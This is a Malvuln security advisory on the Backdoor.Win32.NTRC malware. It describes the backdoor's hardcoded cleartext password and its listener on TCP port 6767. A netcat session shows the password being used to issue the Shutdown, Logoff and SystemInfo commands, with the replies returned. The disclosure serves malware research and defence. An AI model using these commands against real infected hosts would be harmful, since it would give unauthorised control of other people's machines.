Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source:  
Threat: Backdoor.Win32.NTRC  
Vulnerability: Weak Hardcoded Credentials  
Family: NTRC  
Type: PE32  
MD5: 273fd3f33279cc9c0378a49cf63d7a06  
Vuln ID: MVID-2022-0646  
Disclosure: 10/02/2022  
Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart.  
0045E520 dd 16 ; Len  
0045E520 db 'Please change me',0 ; Text  
0045E539 align 4  
C:\>nc64.exe x.x.x.x 6767  
Please change me;Shutdown;  
Error;Can not shutdown the server. Please contact the author at  
Please change me;Logoff;  
Please change me;SystemInfo;  
SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium  
Please change me;SystemInfo2;  
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;D  
Please change me;Logoff;  
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